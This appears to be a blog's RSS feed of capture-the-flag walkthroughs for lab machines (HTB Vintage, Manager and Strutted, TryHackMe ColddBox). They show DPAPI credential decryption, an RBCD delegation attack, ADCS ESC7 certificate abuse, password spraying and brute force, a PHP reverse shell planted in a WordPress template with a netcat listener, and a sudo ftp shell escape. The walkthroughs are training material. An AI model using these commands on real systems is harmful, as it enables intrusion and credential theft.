<pre><code class="lang-apache"><span class="hljs-attribute">download</span> C<span class="hljs-number">4</span>BB<span class="hljs-number">96844</span>A<span class="hljs-number">5</span>C<span class="hljs-number">9</span>DD<span class="hljs-number">45</span>D<span class="hljs-number">5</span>B<span class="hljs-number">6</span>A<span class="hljs-number">9859252</span>BA<span class="hljs-number">6</span>
<span class="hljs-comment"># it will show error but don't mind it let it be and then check where you started evil winrm session</span>
<span class="hljs-comment"># in that directory you will see your file when you do ls -la</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767880831875/0229c474-a040-43f9-a6c2-3cbf1f2cb46e.png" alt class="image--center mx-auto" /></p>
<p>You can match the file size yo ensure that you downloaded the file completely or not</p>
<p>Similarly download master keys too</p>
<pre><code class="lang-apache"><span class="hljs-attribute">cd</span> C:/Users/C.Neri/appdata/roaming/Microsoft/Protect/S-<span class="hljs-number">1</span>-<span class="hljs-number">5</span>-<span class="hljs-number">21</span>-<span class="hljs-number">4024337825</span>-<span class="hljs-number">2033394866</span>-<span class="hljs-number">2055507597</span>-<span class="hljs-number">1115</span>/
<span class="hljs-comment">#(your SID directory may be different so go to that don't just copy)</span>
<span class="hljs-attribute">gci</span> -force
<span class="hljs-comment"># Now download both master keys </span>
<span class="hljs-attribute">download</span> <span class="hljs-number">4</span>dbf<span class="hljs-number">04</span>d<span class="hljs-number">8</span>-<span class="hljs-number">529</span>b-<span class="hljs-number">4</span>b<span class="hljs-number">4</span>c-b<span class="hljs-number">4</span>ae-<span class="hljs-number">8</span>e<span class="hljs-number">875</span>e<span class="hljs-number">4</span>fe<span class="hljs-number">847</span>
<span class="hljs-attribute">download</span> <span class="hljs-number">99</span>cf<span class="hljs-number">41</span>a<span class="hljs-number">3</span>-a<span class="hljs-number">552</span>-<span class="hljs-number">4</span>cf<span class="hljs-number">7</span>-a<span class="hljs-number">8</span>d<span class="hljs-number">7</span>-aca<span class="hljs-number">2</span>d<span class="hljs-number">6</span>f<span class="hljs-number">7339</span>b
</code></pre>
<p>After you downloaded all three things let’s go to the directory where these files are downloaded and now we will use <strong>Impacket dpapi.py</strong> script to generate key using master keys and then will decrypt credential blob So let’s go</p>
<pre><code class="lang-apache"><span class="hljs-attribute">dpapi</span>.py masterkey -file <span class="hljs-number">4</span>dbf<span class="hljs-number">04</span>d<span class="hljs-number">8</span>-<span class="hljs-number">529</span>b-<span class="hljs-number">4</span>b<span class="hljs-number">4</span>c-b<span class="hljs-number">4</span>ae-<span class="hljs-number">8</span>e<span class="hljs-number">875</span>e<span class="hljs-number">4</span>fe<span class="hljs-number">847</span> -sid S-<span class="hljs-number">1</span>-<span class="hljs-number">5</span>-<span class="hljs-number">21</span>-<span class="hljs-number">4024337825</span>-<span class="hljs-number">2033394866</span>-<span class="hljs-number">2055507597</span>-<span class="hljs-number">1115</span>
<span class="hljs-comment">#Enter the password -&gt; Zer0the0ne</span>
</code></pre>
<p>After this you will get a decrypt key copy that key and do this</p>
<pre><code class="lang-apache"><span class="hljs-attribute">dpapi</span>.py credential -file C<span class="hljs-number">4</span>BB<span class="hljs-number">96844</span>A<span class="hljs-number">5</span>C<span class="hljs-number">9</span>DD<span class="hljs-number">45</span>D<span class="hljs-number">5</span>B<span class="hljs-number">6</span>A<span class="hljs-number">9859252</span>BA<span class="hljs-number">6</span> -key 'YOUR-KEY'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767881966557/3c428bc4-faef-429f-9b0c-636f0b046f2f.png" alt class="image--center mx-auto" /></p>
<p>If you face this Padding Error this means that this is not the master key we needed so then let’s try other one now<br />Follow above steps and change the file of master key above and get the new decrypt key and copy it and then again</p>
<pre><code class="lang-apache"><span class="hljs-attribute">dpapi</span>.py credential -file C<span class="hljs-number">4</span>BB<span class="hljs-number">96844</span>A<span class="hljs-number">5</span>C<span class="hljs-number">9</span>DD<span class="hljs-number">45</span>D<span class="hljs-number">5</span>B<span class="hljs-number">6</span>A<span class="hljs-number">9859252</span>BA<span class="hljs-number">6</span> -key 'YOUR-KEY'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767882155820/6f3098f7-0abf-47a1-8c76-53642643b605.png" alt class="image--center mx-auto" /></p>
<p>Here we go we got the C.Neri_adm user credentials now let’s see what this user can do in bloodhound</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767885289438/07dd7795-cef1-49d8-98df-053cdcfe4c76.png" alt class="image--center mx-auto" /></p>
<p>So We can see that C.NERI_ADM has GenericWrite and AddSelf rights on DelegatedAdmins group and</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767885633633/1cc6ccfe-02ad-44ec-9517-0a0d43a0882e.png" alt class="image--center mx-auto" /></p>
<p>L.Bianchi_adm is a member of DelegatedAdmins and also a Domain Admin so we can do RBCD (Resource Based Constrained Delegation) on it by adding a account which has SPN enabled which in this case is FS01$ machine account and then we can impersonate DC / Domain Admins</p>
<p>So let’s do it</p>
<p>First we have to add C.Neri_adm into DelegatedAdmins group so that we can add FS01$ account into this group also<br /><strong>(Don’t forget to take the TGT for C.Neri_adm user)</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -d vintage.htb --host dc<span class="hljs-number">01</span>.vintage.htb -k add groupMember DELEGATEDADMINS 'C.neri_adm'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767886198743/b1282773-3408-4595-becb-2b1b83f58994.png" alt class="image--center mx-auto" /></p>
<p>Now let’s add FS01$ machine account to DELEGATEDADMINS</p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -d vintage.htb --host dc<span class="hljs-number">01</span>.vintage.htb -k add groupMember DELEGATEDADMINS 'fs<span class="hljs-number">01</span>$'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767886263400/e576ded8-724e-4168-ac93-042089bd6778.png" alt class="image--center mx-auto" /></p>
<p><strong>Now take FS01$ TGT and export it</strong></p>
<p>After it successfully added then we can start our impersonation of DC/Domain Admins But<br />We cannot impersonate the Administrator account, as it is restricted from network logins. The L.BIANCHI_ADM user account is also a member of Domain Admins So we can impersonate that user to perform the Delegation attack then get the ticket with an ALT SPN of HTTP and get a WinRM session as WinRM uses HTTP class rather then CIFS</p>
<p>So let’s impersonate either DC or directly L.Bianchi_adm user as it is the faster approach</p>
<pre><code class="lang-apache"><span class="hljs-attribute">getST</span>.py -spn 'cifs/dc<span class="hljs-number">01</span>.vintage.htb' -altservice 'HTTP/dc<span class="hljs-number">01</span>.vintage.htb' -impersonate 'l.bianchi_adm' -k -no-pass -dc-ip <span class="hljs-number">10.129.231.205</span> vintage.htb/fs<span class="hljs-number">01</span>$
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767889339807/f91a4a4f-6529-4a73-b17d-4e2aaa492b3f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-root-flag">ROOT FLAG</h2>
<pre><code class="lang-apache"><span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=l.bianchi_adm@HTTP_dc<span class="hljs-number">01</span>.vintage.htb@VINTAGE.HTB.ccache
<span class="hljs-attribute">evil</span>-winrm -i dc<span class="hljs-number">01</span>.vintage.htb -r vintage.htb
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767889551214/51cf8849-8b30-4e21-80dd-245a5de79c59.png" alt class="image--center mx-auto" /></p>
<p>We successfully got in , now you can grab the root flag</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767889883162/f5554158-d4ab-4745-b4a5-7376ff0a625f.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Manager]]></title><description><![CDATA[OVERVIEW


So Like always we got our IP Address so now let’s scan it using NMAP
ENUMERATION

So we have lot of ports so let’s enumerate each one of them one by one but don’t forget to add the Domain and DC name in your /etc/hosts file
Let’s start fro...]]></description><link>https://blog.reapsec.com/manager-htb</link><guid isPermaLink="true">https://blog.reapsec.com/manager-htb</guid><category><![CDATA[manager htb]]></category><category><![CDATA[manager]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[medium]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sun, 04 Jan 2026 08:32:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767508720939/0845cbae-7a09-43bc-a377-954f2caf50e3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767508772588/43f0e525-0591-4192-a828-ef6474767285.png" alt class="image--center mx-auto" /></p>
<p>So Like always we got our IP Address so now let’s scan it using NMAP</p>
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767509038088/09065305-8378-463a-9a5e-12e4727e4160.png" alt class="image--center mx-auto" /></p>
<p>So we have lot of ports so let’s enumerate each one of them one by one but don’t forget to add the <strong>Domain and DC</strong> name in your <strong><mark>/etc/hosts</mark></strong> file</p>
<p>Let’s start from Port 80 http website</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767509331864/71410243-99c1-4e9c-a5e8-17a9d322f2c4.png" alt class="image--center mx-auto" /></p>
<p>I enumerated the webpage , tried finding directories , subdomains but didn’t got anything so let’s move on to the <strong>SMB service now</strong> and check Guest Login</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.53.136</span> -u guest -p ''
<span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.53.136</span> -u guest -p '' --shares
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767509569551/a2e08380-4c8e-4642-8da8-894e9b014226.png" alt class="image--center mx-auto" /></p>
<p>We successfully got the guest login and shares but none of them are of any use to us so now let’s try RID Cycling using <code>--rid-brute</code> to find users, groups etc</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.53.136</span> -u guest -p '' --rid-brute
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767509756498/fafcb128-6261-4a9c-bdb9-9e1abf066e75.png" alt class="image--center mx-auto" /></p>
<p>There we go we got the users so let’s save them in a file named as <strong>users.txt</strong></p>
<pre><code class="lang-plaintext">administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinWoo
chinHae
operator
</code></pre>
<p>Now there is a chance that the user is using its username as password so let’s try SMB bruteforce to check it</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.53.136</span> -u users.txt -p users.txt --continue-<span class="hljs-literal">on</span>-success --no-bruteforce
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767510133446/4598046c-370f-4f67-9795-ae78b9627098.png" alt class="image--center mx-auto" /></p>
<p>We got the user operator<br />I checked its shares permission and other services even bloodhound data but didn’t got anything useful so Now let’s try this user in MSSQL service</p>
<hr />
<h2 id="heading-exploitation">EXPLOITATION</h2>
<pre><code class="lang-apache"><span class="hljs-attribute">mssqlclient</span>.py manager.htb/operator:operator@manager.htb -dc-ip <span class="hljs-number">10.129.53.136</span> -windows-auth
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767510451725/e2628423-d4c7-475d-9ca2-b5169cc40f25.png" alt class="image--center mx-auto" /></p>
<p>And it worked now let’s enumerate it.<br />On enumerating i found <strong>xp_dirtree</strong> command which is used to read file system directory let’s try it</p>
<pre><code class="lang-apache"><span class="hljs-attribute">EXEC</span> XP_DIRTREE 'C:\' ,<span class="hljs-number">1</span>, <span class="hljs-number">1</span>;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767510631194/1e4c8503-d05d-46f9-a4e3-18ebfdc9a90d.png" alt /></p>
<p>As you can see we can see the directories , now let’s try seeing the website directory as something might be there as we didn’t got anything useful from outside enumeration</p>
<pre><code class="lang-apache"><span class="hljs-attribute">EXEC</span> XP_DIRTREE 'C:\inetpub\wwwroot' ,<span class="hljs-number">1</span>, <span class="hljs-number">1</span>;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767511642873/9d3977c1-1270-4919-95ed-3e7080c04ade.png" alt class="image--center mx-auto" /></p>
<p>we can see a backup zip which might have some info so we can get it directly from the website</p>
<pre><code class="lang-apache"><span class="hljs-attribute">wget</span> http://manager.htb/website-backup-<span class="hljs-number">27</span>-<span class="hljs-number">07</span>-<span class="hljs-number">23</span>-old.zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767512159585/ca984151-d6a3-4317-8d66-d03938698695.png" alt class="image--center mx-auto" /></p>
<p>After unzipping the file we can see a <strong>.old-conf.xml</strong> file which might have something useful so let’s see it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767512249540/cbc1b8c2-5fe4-4518-9bae-e6bd8b36f87b.png" alt /></p>
<p>And here we go we got the user Raven Password which we can use to get an Evil-winrm shell</p>
<hr />
<h2 id="heading-user-flag">USER FLAG</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767512414125/f82d32c5-39b3-4a56-8125-011f2d0769ce.png" alt class="image--center mx-auto" /></p>
<p>And we are in as Raven and now you can get the user flag</p>
<hr />
<h2 id="heading-privilege-escalation">PRIVILEGE ESCALATION</h2>
<p>Now for escalating privileges i decided to check for ADCS vulnerabilities so let’s run Certipy to find if there is any vuln or not (<a target="_blank" href="https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation">Certipy</a> should be UpToDate )</p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> find -u raven -p 'REDACTED' -dc-ip <span class="hljs-number">10.129.53.136</span> -vulnerable -stdout
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767512766311/ec86de2d-0111-40f4-8c4b-3f030af9f726.png" alt class="image--center mx-auto" /></p>
<p><strong>And here we go we found ESC 7 vulnerability and Raven user have ManageCa rights as well as Enrollment Rights but don’t have Manage Certificate rights so let’s use ManageCa rights to grant Raven the rights</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> ca -u Raven -p 'REDACTED' -dc-ip <span class="hljs-number">10.129.53.136</span> -ca <span class="hljs-string">"manager-DC01-CA"</span> -add-officer Raven
</code></pre>
<p>Now we can enable SubCA Template <em>(Even if its already enabled still do it</em> )</p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> ca -u Raven -p 'REDACTED' -dc-ip <span class="hljs-number">10.129.53.136</span> -ca <span class="hljs-string">"manager-DC01-CA"</span> -enable-template SubCA
</code></pre>
<p>Since SubCA template is now enabled let’s get the request id of the certificate which we need to issue by requesting certificate for administrator@manager.htb upn and don’t forget to save the key by pressing y</p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> req -u Raven -p 'REDACTED' -dc-ip <span class="hljs-number">10.129.53.136</span> -ca <span class="hljs-string">"manager-DC01-CA"</span> -template SubCA -upn administrator@manager.htb
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767514214847/3317f46a-7ea6-43fe-a252-16e32de02a53.png" alt class="image--center mx-auto" /></p>
<p>So we got out request id which is 20 so now let’s issue certificate to this ID <em>(Enter your REQ ID below instead of 20)</em></p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> ca -u Raven -p 'REDACTED' -dc-ip <span class="hljs-number">10.129.53.136</span> -ca <span class="hljs-string">"manager-DC01-CA"</span> -issue-request <span class="hljs-number">20</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767514361809/9643f3a1-e946-4b3a-b32c-be2b4e5fb35a.png" alt class="image--center mx-auto" /></p>
<p>As you can see the certificate is successfully issued to the request ID now the only thing is left to retrieve it and get the <strong>administrator.pfx</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> req -u Raven -p 'REDACTED' -dc-ip <span class="hljs-number">10.129.53.136</span> -ca <span class="hljs-string">"manager-DC01-CA"</span> -retrieve <span class="hljs-number">20</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767514723539/271a8129-962f-42fc-ae4e-58cd9bf083a8.png" alt class="image--center mx-auto" /></p>
<p>As you can see we got the <strong>administrator.pfx</strong> Now we can use it to get the administrator hash</p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> auth -pfx administrator.pfx -dc-ip <span class="hljs-number">10.129.53.136</span> -domain manager.htb
</code></pre>
<p>If it show error regarding Clock Skew is too great do</p>
<pre><code class="lang-apache"><span class="hljs-attribute">sudo</span> ntpdate <span class="hljs-number">10.129.53.136</span>
</code></pre>
<p>Now run the above command again</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767515076178/ef4f9b1c-2775-41d6-8531-997d88099449.png" alt class="image--center mx-auto" /></p>
<p>We will get the administrator hash now we can use it to get an evil-winrm session</p>
<hr />
<h2 id="heading-root-flag">ROOT FLAG</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767515260820/20ec3856-8760-4d34-b2c0-76ead971f44a.png" alt class="image--center mx-auto" /></p>
<p>Now you can grab the root flag and solve the machine</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767515338622/3d4c2e73-888c-4b7c-b550-a53592c0f298.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[ColddBox: Easy Room on TryHackMe: Complete Walkthrough and Guide]]></title><description><![CDATA[LINK - https://tryhackme.com/room/colddboxeasy

OVERVIEW

We are given an IP Address Let’s scan it using NMAP
ENUMERATION

So we have two open ports PORT 80 and PORT 4512 of web and ssh respectivelyAlso we can see the website is running WordPress 4.1...]]></description><link>https://blog.reapsec.com/colddbox-thm</link><guid isPermaLink="true">https://blog.reapsec.com/colddbox-thm</guid><category><![CDATA[colddbox thm]]></category><category><![CDATA[c0lddbox]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sat, 03 Jan 2026 17:35:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767456775294/72614df4-a4be-462c-b46b-585cdb5857c0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<p><strong>LINK -</strong> <a target="_blank" href="https://tryhackme.com/room/colddboxeasy">https://tryhackme.com/room/colddboxeasy</a></p>
<hr />
<h2 id="heading-overview">OVERVIEW</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767456906632/adc832bd-431a-463a-b893-6dfb7eab6699.png" alt class="image--center mx-auto" /></p>
<p>We are given an IP Address Let’s scan it using NMAP</p>
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767457350733/b053c8bd-ea0a-489f-bc7e-b4f3b24824c6.png" alt class="image--center mx-auto" /></p>
<p>So we have two open ports PORT 80 and PORT 4512 of web and ssh respectively<br />Also we can see the website is running WordPress 4.1.31 so we can use <strong>wpscan</strong> on it</p>
<p>Let’s see the website first</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767457536314/e8eba42b-c2f3-4723-b671-9ed84d3313d6.png" alt class="image--center mx-auto" /></p>
<p>There is a login page of WordPress let’s try default username and passwords</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767457973518/301f323d-de99-4f9d-b0e4-8feb9462c5f6.png" alt /></p>
<p>But it failed….</p>
<p>So Let’s enumerate directories using <strong>gobuster</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">gobuster</span> dir -u http://<span class="hljs-number">10.66.155.139</span>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767458459166/a046c282-db12-4578-9b2f-535edae465ba.png" alt class="image--center mx-auto" /></p>
<p>So there we have one <strong>/hidden</strong> directory let’s check it out</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767458136977/38bfe191-bc58-43a9-a3b1-e908bdafac1a.png" alt class="image--center mx-auto" /></p>
<p>And we found three usernames which we can use to bruteforce the WordPress Login but first let’s run <strong>wpscan</strong> on the website maybe will find some vulnerable plugin or themes.</p>
<pre><code class="lang-apache"><span class="hljs-attribute">wpscan</span> -v -e --url http://<span class="hljs-number">10.66.155.139</span>/wp-login.php
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767458978943/d07fb965-8ccb-4780-8770-07a7a5b00875.png" alt class="image--center mx-auto" /></p>
<p>And we found nothing useful so let’s bruteforce the passwords with our users using <strong>wpscan</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">wpscan</span> -U users.txt -P /usr/share/wordlists/rockyou.txt --url http://<span class="hljs-number">10.66.155.139</span>/
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767459873956/6dd24cc5-c980-4f29-aec1-44316fbdd45d.png" alt class="image--center mx-auto" /></p>
<p>And we found the user c0ldd password now let’s login into the WordPress admin page with the given credentials</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767460008830/71624755-6064-4646-bed0-598c157595f5.png" alt class="image--center mx-auto" /></p>
<p>We are inside the WordPress site now let’s checkout editor tab in Appearance to see if we can edit some code to get reverse shell</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767460246454/4e4c372e-3703-416d-8870-0960ab4e476f.png" alt class="image--center mx-auto" /></p>
<p><strong>There is 404 Template in the templates section which has 404.php which we can use to get reverse shell</strong></p>
<p>So get the PHP PentestMonkey reverse shell script from <a target="_blank" href="https://www.revshells.com/">revshells.com</a> and paste it in here<br />Now open a netcat listener in your terminal</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nc</span> -lvnp PORT
</code></pre>
<p>Now click on Update and you will update the 404.php code</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767460560483/04940e55-9129-4007-9978-55287baa674b.png" alt class="image--center mx-auto" /></p>
<p>Now navigate to 404.php from the URL so that it can get executed and can give us reverse shell</p>
<pre><code class="lang-apache"><span class="hljs-attribute">http</span>://<span class="hljs-number">10.66.155.139</span>/wp-content/themes/twentyfifteen/<span class="hljs-number">404</span>.php
</code></pre>
<p>Go to this site and you will automatically will get the reverse shell</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767460704689/7ec3080f-21dc-44b9-9c96-5baa29112527.png" alt class="image--center mx-auto" /></p>
<p><strong>Since we can’t read user.txt as we are not the user c0ldd But</strong><br />Now we can read the <strong>wp-config.php</strong> from the <strong>/var/www/html</strong> directory which we saw in gobuster as it usually has some creds</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767460864622/b28e0e84-2674-4ac2-85ca-715addf951f6.png" alt class="image--center mx-auto" /></p>
<p>Seems We were right there is MYSQL DB credential of the user c0ldd<br />I enumerated the MySQL but didn’t found anything useful rather then the hash of the passwords of the three users we found earlier as their passwords will only work in WordPress website so there is no point in cracking those.</p>
<hr />
<h2 id="heading-user-flag">USER FLAG</h2>
<p>Then I remembered that this password can be reused somewhere and our PORT 4512 of ssh came into my mind so let’s try using these creds to login as c0ldd</p>
<pre><code class="lang-apache"><span class="hljs-attribute">ssh</span> c<span class="hljs-number">0</span>ldd@<span class="hljs-number">10.66.155.139</span> -p <span class="hljs-number">4512</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767461159451/61a5c2db-7cf0-406b-9fad-230148026761.png" alt class="image--center mx-auto" /></p>
<p>Here we go we were right and now you can grab user.txt from <strong>/home/c0ldd directory</strong></p>
<hr />
<h2 id="heading-privilege-escalation-root-flag">PRIVILEGE ESCALATION / ROOT FLAG</h2>
<p>Now let’s try to escalate privileges and like every time we will start from <code>sudo -l</code> command</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767461388096/b86fa113-6dcf-426f-a077-02f5344d06fc.png" alt class="image--center mx-auto" /></p>
<p>And we found it three services that can help me escalating privileges you can either use vim or ftp to escalate privileges but i will here use ftp so</p>
<pre><code class="lang-apache"><span class="hljs-attribute">sudo</span> ftp
!/<span class="hljs-attribute">bin</span>/bash
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767461487068/8f891399-a936-46ab-875a-effea443e31d.png" alt /></p>
<p>And Like this you got the root flag too.</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767461607694/d9a74f5a-21f6-4abd-b1c6-ffe5c6bf394e.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Strutted]]></title><description><![CDATA[OVERVIEW


So we are given IP Address let’s start the enumeration using NMAP
ENUMERATION

Let’s analyze these ports specifically Port 80 and don’t forget to add strutted.htb into /etc/hosts

Here we can see there is an upload functionality but only J...]]></description><link>https://blog.reapsec.com/strutted-htb</link><guid isPermaLink="true">https://blog.reapsec.com/strutted-htb</guid><category><![CDATA[Strutted]]></category><category><![CDATA[Strutted htb writeup]]></category><category><![CDATA[#Walkthroughs]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[Linux]]></category><category><![CDATA[medium]]></category><category><![CDATA[writeups]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sat, 03 Jan 2026 13:19:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767432294883/4a69b291-e443-4e5b-b14c-d44d427e3774.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767435795664/e63f8818-987b-4eb7-8192-fd531f5fff23.png" alt class="image--center mx-auto" /></p>
<p>So we are given IP Address let’s start the enumeration using NMAP</p>
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767435915959/6a8a8151-f06d-4397-ba1b-21c2ff2db4a1.png" alt class="image--center mx-auto" /></p>
<p>Let’s analyze these ports specifically Port 80 and don’t forget to add <strong>strutted.htb</strong> into <strong><mark>/etc/hosts</mark></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767437866458/cb6221a6-9d2c-4af7-ac93-ab7659071c55.png" alt class="image--center mx-auto" /></p>
<p>Here we can see there is an upload functionality but only JPG,JPEG,PNG,GIF formats are allowed and when we try to upload any other format it shows</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767438260632/80fd0e03-d963-4e0c-8b53-edfaa0941de7.png" alt /></p>
<p>Let’s see what happens when we upload a image file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767441031768/57ea5b51-7e16-4b14-8042-d4115574190a.png" alt class="image--center mx-auto" /></p>
<p><strong>We can see that it is saved in the directory _/_/file.png</strong> in which the middle id is temporary which can’t be guessed so can’t access other files rather then the one we uploads</p>
<p>In the main page the right side has a Download button which allows us to download a zip file so let’s download and unzip that zip file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767438553857/7766820b-d4e3-4074-be15-6722a1c21499.png" alt class="image--center mx-auto" /></p>
<p>We came to know that it is using Apache + Tomcat which means <strong>.jsp</strong> file are used and you will get a password for an admin user in <strong>tomcat-users.xml</strong> file which could be useful in future.<br />Let’s enumerate more in the /<strong>strutted directory</strong></p>
<p>In <strong>/strutted</strong> directory there is a file named as pom.xml where we can see the struts version which is <strong>6.3.0.1</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767439543216/a4aefa8b-9e2f-4290-a649-a9ec5169ccc0.png" alt /></p>
<p>In <strong>/strutted/src/main/java/org/strutted/htb/Upload.java file</strong> we can see:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767438968366/481eb91e-58ce-4784-bf59-98805b431090.png" alt class="image--center mx-auto" /></p>
